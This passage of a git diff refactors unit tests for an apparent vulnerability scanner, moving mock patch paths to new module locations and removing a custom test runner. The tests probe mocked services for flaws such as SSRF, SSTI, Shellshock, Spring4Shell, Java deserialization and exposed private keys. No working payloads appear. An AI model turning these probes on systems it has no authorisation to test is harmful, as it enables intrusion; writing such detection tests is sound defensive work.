saved_pass_reports[-1] # Last one is the PassReport - - sm = pass_report.get("scan_metrics") - self.assertIsNotNone(sm, "PassReport should have scan_metrics") - # Connection outcomes summed across nodes - self.assertEqual(sm["connection_outcomes"]["connected"], 8) - self.assertEqual(sm["connection_outcomes"]["timeout"], 5) - self.assertEqual(sm["connection_outcomes"]["total"], 13) - # Max duration - self.assertEqual(sm["total_duration"], 65.0) - # Probes summed - self.assertEqual(sm["probes_attempted"], 6) - self.assertEqual(sm["probes_completed"], 5) - self.assertEqual(sm["probes_failed"], 1) - # OR flags - self.assertFalse(sm["rate_limiting_detected"]) - self.assertTrue(sm["blocking_detected"]) - class TestPhase17aQuickWins(unittest.TestCase): """Phase 17a: Quick Win probe enhancements.""" @@ -4830,6 +2483,7 @@ def test_es_nodes_jvm_modern_no_finding(self): self.assertFalse(any("EOL JVM" in t for t in titles)) + class TestPhase17bMediumFeatures(unittest.TestCase): """Phase 17b: Medium feature probe enhancements.""" @@ -5099,6 +2753,7 @@ def test_smb_share_wiring_admin_shares_high(self): self.assertTrue(any("admin shares" in t.lower() for t in titles), f"titles={titles}") + class TestOWASPFullCoverage(unittest.TestCase): """Tests for OWASP Top 10 full coverage probes (A04, A08, A09, A10 + re-tags).""" @@ -5136,7 +2791,7 @@ def test_metadata_endpoints_tagged_a10(self): resp.status_code = 200 resp.text = "ami-id instance-id" with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", return_value=resp, ): result = worker._web_test_metadata_endpoints("example.com", 80) @@ -5152,7 +2807,7 @@ def test_homepage_private_key_tagged_a08(self): resp.status_code = 200 resp.text = "-----BEGIN RSA PRIVATE KEY----- some key data" with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_homepage("example.com", 80) @@ -5168,7 +2823,7 @@ def test_homepage_api_key_still_a01(self): resp.status_code = 200 resp.text = "var API_KEY = 'abc123';" with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_homepage("example.com", 80) @@ -5194,7 +2849,7 @@ def fake_get(url, timeout=3, verify=False, headers=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", side_effect=fake_get, ): result = worker._web_test_metadata_endpoints("example.com", 80) @@ -5218,7 +2873,7 @@ def fake_get(url, timeout=4, verify=False, headers=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", side_effect=fake_get, ): result = worker._web_test_ssrf_basic("example.com", 80) @@ -5234,7 +2889,7 @@ def test_ssrf_basic_no_false_positive(self): resp.status_code = 200 resp.text = "Welcome" with patch( - "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.api_exposure.requests.get", return_value=resp, ): result = worker._web_test_ssrf_basic("example.com", 80) @@ -5259,10 +2914,10 @@ def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.post", side_effect=fake_post, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", side_effect=fake_post, ): result = worker._web_test_account_enumeration("example.com", 80) @@ -5281,10 +2936,10 @@ def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.post", side_effect=fake_post, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", side_effect=fake_post, ): result = worker._web_test_account_enumeration("example.com", 80) @@ -5302,13 +2957,13 @@ def fake_request(url, *args, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.post", side_effect=fake_request, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", side_effect=fake_request, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", + "extensions.business.cybersec.red_mesh.worker.web.hardening._time.sleep", ): result = worker._web_test_rate_limiting("example.com", 80) findings = result.get("findings", []) @@ -5340,13 +2995,13 @@ def fake_get(url, *args, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.post", side_effect=fake_post, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", side_effect=fake_get, ), patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", + "extensions.business.cybersec.red_mesh.worker.web.hardening._time.sleep", ): result = worker._web_test_rate_limiting("example.com", 80) self.assertEqual(len(result.get("findings", [])), 0) @@ -5369,7 +3024,7 @@ def fake_get(url, timeout=3, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get, ): result = worker._web_test_idor_indicators("example.com", 80) @@ -5385,7 +3040,7 @@ def test_idor_auth_required(self): resp.status_code = 401 resp.text = "Unauthorized" with patch( - "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", return_value=resp, ): result = worker._web_test_idor_indicators("example.com", 80) @@ -5400,7 +3055,7 @@ def test_sri_missing_external_script(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_subresource_integrity("example.com", 80) @@ -5416,7 +3071,7 @@ def test_sri_present(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_subresource_integrity("example.com", 80) @@ -5429,7 +3084,7 @@ def test_sri_same_origin_ignored(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_subresource_integrity("example.com", 80) @@ -5442,7 +3097,7 @@ def test_mixed_content_script(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_mixed_content("example.com", 443) @@ -5458,7 +3113,7 @@ def test_mixed_content_https_only(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.hardening.requests.get", return_value=resp, ): result = worker._web_test_mixed_content("example.com", 443) @@ -5477,7 +3132,7 @@ def test_js_lib_angularjs_eol(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_js_library_versions("example.com", 80) @@ -5493,7 +3148,7 @@ def test_js_lib_version_detected(self): resp.status_code = 200 resp.text = '' with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_js_library_versions("example.com", 80) @@ -5518,7 +3173,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_verbose_errors("example.com", 80) @@ -5538,7 +3193,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_verbose_errors("example.com", 80) @@ -5561,7 +3216,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=None): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_verbose_errors("example.com", 80) @@ -5587,7 +3242,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -5604,7 +3259,7 @@ def test_debug_endpoint_404(self): resp.text = "" resp.headers = {} with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", return_value=resp, ): result = worker._web_test_common("example.com", 80) @@ -5654,7 +3309,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("example.com", 80) @@ -5683,7 +3338,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("example.com", 80) @@ -5692,6 +3347,7 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=False): self.assertEqual(len(plugin_findings), 0) + class TestDetectionGapFixes(unittest.TestCase): """Tests for detection gap fixes: Erlang SSH, BIND CVEs, DNS AXFR, SMTP HELP.""" @@ -5790,7 +3446,7 @@ def fake_recvfrom(size): return resp, ("1.2.3.4", 53) sock.recvfrom = fake_recvfrom return sock - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket", side_effect=fake_socket_factory): with patch("socket.gethostbyaddr", side_effect=Exception("no reverse")): zones = worker._dns_discover_zones("1.2.3.4", 53) # vulhub.org should be in the list (discovered as authoritative or as fallback) @@ -5799,7 +3455,7 @@ def fake_recvfrom(size): def test_dns_zone_discovery_always_includes_fallbacks(self): """Zone discovery should include fallback domains even when reverse DNS works.""" _, worker = self._build_worker() - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + with patch("extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket") as mock_sock: mock_inst = MagicMock() mock_inst.recvfrom.side_effect = Exception("timeout") mock_sock.return_value = mock_inst @@ -5831,7 +3487,7 @@ def fake_recvfrom(size): answer += struct.pack('>H', len(version_txt) + 1) + bytes([len(version_txt)]) + version_txt return header + question_section + answer, ("1.2.3.4", 53) - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + with patch("extensions.business.cybersec.red_mesh.worker.service.infrastructure.socket.socket") as mock_sock: mock_inst = MagicMock() mock_inst.sendto = fake_sendto mock_inst.recvfrom = fake_recvfrom @@ -5880,6 +3536,7 @@ def test_smtp_help_extracts_version(self): ) + class TestBatch2GapFixes(unittest.TestCase): """Tests for batch 2 gaps: MySQL CVE-2016-6662, PG MD5 creds, CouchDB, InfluxDB.""" @@ -5953,7 +3610,7 @@ def fake_recv(size): return md5_request return auth_response - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + with patch("extensions.business.cybersec.red_mesh.worker.service.database.socket.socket") as mock_sock: mock_inst = MagicMock() mock_inst.recv = fake_recv mock_sock.return_value = mock_inst @@ -5996,7 +3653,7 @@ def fake_get(url, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.database.requests.get", side_effect=fake_get, ): result = worker._service_info_couchdb("1.2.3.4", 5984) @@ -6020,7 +3677,7 @@ def fake_get(url, **kwargs): resp.text = '{"status": "ok"}' return resp - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.service.database.requests.get", side_effect=fake_get): result = worker._service_info_couchdb("1.2.3.4", 80) self.assertIsNone(result) @@ -6050,7 +3707,7 @@ def fake_get(url, **kwargs): resp.text = '{"memstats": {"Alloc": 12345}}' return resp - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.service.database.requests.get", side_effect=fake_get): result = worker._service_info_influxdb("1.2.3.4", 8086) findings = result.get("findings", []) @@ -6070,7 +3727,7 @@ def fake_get(url, **kwargs): resp.headers = {} return resp - with patch("extensions.business.cybersec.red_mesh.service_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.service.database.requests.get", side_effect=fake_get): result = worker._service_info_influxdb("1.2.3.4", 80) self.assertIsNone(result) @@ -6089,6 +3746,7 @@ def test_influxdb_cve_2019_20933(self): self.assertFalse(any("CVE-2019-20933" in f.title for f in check_cves("influxdb", "1.7.6"))) + class TestBatch3GapFixes(unittest.TestCase): """Tests for batch 3 gaps: CMS CVEs, SSTI, Shellshock, PHP CGI, dedup bug.""" @@ -6211,7 +3869,7 @@ def fake_get(url, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) @@ -6249,7 +3907,7 @@ def fake_get(url, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) @@ -6293,8 +3951,8 @@ def fake_post(url, **kwargs): resp.text = '{"error":"..."}' return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.post", side_effect=fake_post): result = worker._web_test_cms_fingerprint("1.2.3.4", 6300) findings = result.get("findings", []) @@ -6323,7 +3981,7 @@ def fake_get(url, **kwargs): resp.text = 'Hello world' return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_ssti("1.2.3.4", 4700) findings = result.get("findings", []) @@ -6350,7 +4008,7 @@ def fake_get(url, **kwargs): resp.text = 'Hello world' return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_ssti("1.2.3.4", 4700) findings = result.get("findings", []) @@ -6375,7 +4033,7 @@ def fake_get(url, **kwargs): resp.text = "Not Found" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_shellshock("1.2.3.4", 6600) findings = result.get("findings", []) @@ -6394,7 +4052,7 @@ def fake_get(url, **kwargs): resp.text = "Not Found" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_shellshock("1.2.3.4", 80) findings = result.get("findings", []) @@ -6424,8 +4082,8 @@ def fake_post(url, **kwargs): resp.text = "PHP page" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_php_cgi("1.2.3.4", 6700) findings = result.get("findings", []) @@ -6454,8 +4112,8 @@ def fake_post(url, **kwargs): resp.text = "Normal" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_php_cgi("1.2.3.4", 6700) findings = result.get("findings", []) @@ -6492,7 +4150,7 @@ def fake_get(url, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) @@ -6538,7 +4196,7 @@ def fake_get(url, **kwargs): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) @@ -6562,7 +4220,7 @@ def fake_get(url, **kwargs): resp.text = '

    Order #5183 confirmed

    ' return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_ssti("1.2.3.4", 4300) findings = result.get("findings", []) @@ -6587,7 +4245,7 @@ def fake_get(url, **kwargs): resp.text = "Not Found" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_shellshock("1.2.3.4", 6600) findings = result.get("findings", []) @@ -6600,7 +4258,7 @@ def test_http_alt_no_duplicate_cves(self): """_service_info_http_alt should NOT emit CVE findings (dedup fix).""" _, worker = self._build_worker(ports=[8080]) - with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + with patch("extensions.business.cybersec.red_mesh.worker.service.common.socket.socket") as mock_sock: mock_inst = MagicMock() mock_inst.recv.return_value = ( b"HTTP/1.1 200 OK\r\n" @@ -6617,6 +4275,7 @@ def test_http_alt_no_duplicate_cves(self): self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") + class TestBatch4JavaGapFixes(unittest.TestCase): """Tests for batch 4: Java application servers, Struts2, WebLogic, Spring.""" @@ -6758,7 +4417,7 @@ def fake_get(url, **kwargs): resp.text = 'WebLogic login page' return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get): result = worker._web_test_java_servers("1.2.3.4", 7102) findings = result.get("findings", []) @@ -6792,7 +4451,7 @@ def fake_get(url, **kwargs): resp.text = "Unauthorized" return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get): result = worker._web_test_java_servers("1.2.3.4", 7104) findings = result.get("findings", []) @@ -6823,7 +4482,7 @@ def fake_get(url, **kwargs): resp.text = "JMX Console" return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get): result = worker._web_test_java_servers("1.2.3.4", 7106) findings = result.get("findings", []) @@ -6853,7 +4512,7 @@ def fake_get(url, **kwargs): resp.text = '

    Whitelabel Error Page

    ' return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get): result = worker._web_test_java_servers("1.2.3.4", 7108) findings = result.get("findings", []) @@ -6879,7 +4538,7 @@ def fake_get(url, **kwargs): resp.text = "Normal page" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_ognl_injection("1.2.3.4", 7100) findings = result.get("findings", []) @@ -6906,7 +4565,7 @@ def fake_get(url, **kwargs): resp.headers = {"Content-Type": "text/xml"} return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_java_deserialization("1.2.3.4", 7102) findings = result.get("findings", []) @@ -6928,7 +4587,7 @@ def fake_get(url, **kwargs): resp.text = "Internal Server Error" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get): result = worker._web_test_java_deserialization("1.2.3.4", 7106) findings = result.get("findings", []) @@ -6969,8 +4628,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_spring_actuator("1.2.3.4", 7108) findings = result.get("findings", []) @@ -7000,8 +4659,8 @@ def fake_post(url, **kwargs): resp.text = '{"error":"SpelEvaluationException: evaluation failed"}' return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_spring_actuator("1.2.3.4", 7109) findings = result.get("findings", []) @@ -7039,8 +4698,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.post", side_effect=fake_post): result = worker._web_test_java_servers("1.2.3.4", 7101) findings = result.get("findings", []) @@ -7081,8 +4740,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.post", side_effect=fake_post): result = worker._web_test_java_servers("1.2.3.4", 7101) findings = result.get("findings", []) @@ -7128,8 +4787,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.discovery.requests.post", side_effect=fake_post): result = worker._web_test_java_servers("1.2.3.4", 7108) findings = result.get("findings", []) @@ -7169,8 +4828,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_spring_actuator("1.2.3.4", 7108) findings = result.get("findings", []) @@ -7178,6 +4837,7 @@ def fake_post(url, **kwargs): self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") + class TestBatch5Improvements(unittest.TestCase): """Tests for batch 5: Spring4Shell secondary gate, CVE dedup.""" @@ -7242,8 +4902,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_spring_actuator("1.2.3.4", 7108) findings = result.get("findings", []) @@ -7278,8 +4938,8 @@ def fake_post(url, **kwargs): resp.text = "" return resp - with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ - patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + with patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.worker.web.injection.requests.post", side_effect=fake_post): result = worker._web_test_spring_actuator("1.2.3.4", 7100) findings = result.get("findings", []) @@ -7291,7 +4951,7 @@ def fake_post(url, **kwargs): def _get_plugin_class(self): if 'extensions.business.cybersec.red_mesh.pentester_api_01' not in sys.modules: - TestPhase1ConfigCID._mock_plugin_modules() + mock_plugin_modules() from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin return PentesterApi01Plugin @@ -7417,34 +5077,4 @@ def test_jetty_all_cves_match(self): self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") -class VerboseResult(unittest.TextTestResult): - def addSuccess(self, test): - super().addSuccess(test) - self.stream.writeln() # emits an extra "\n" after the usual "ok" - -if __name__ == "__main__": - runner = unittest.TextTestRunner(verbosity=2, resultclass=VerboseResult) - suite = unittest.TestSuite() - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(RedMeshOWASPTests)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestFindingsModule)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCveDatabase)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCorrelationEngine)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) - suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch5Improvements)) - runner.run(suite) + diff --git a/extensions/business/cybersec/red_mesh/web_mixin.py b/extensions/business/cybersec/red_mesh/web_mixin.py deleted file mode 100644 index 61b2dcc5..00000000 --- a/extensions/business/cybersec/red_mesh/web_mixin.py +++ /dev/null @@ 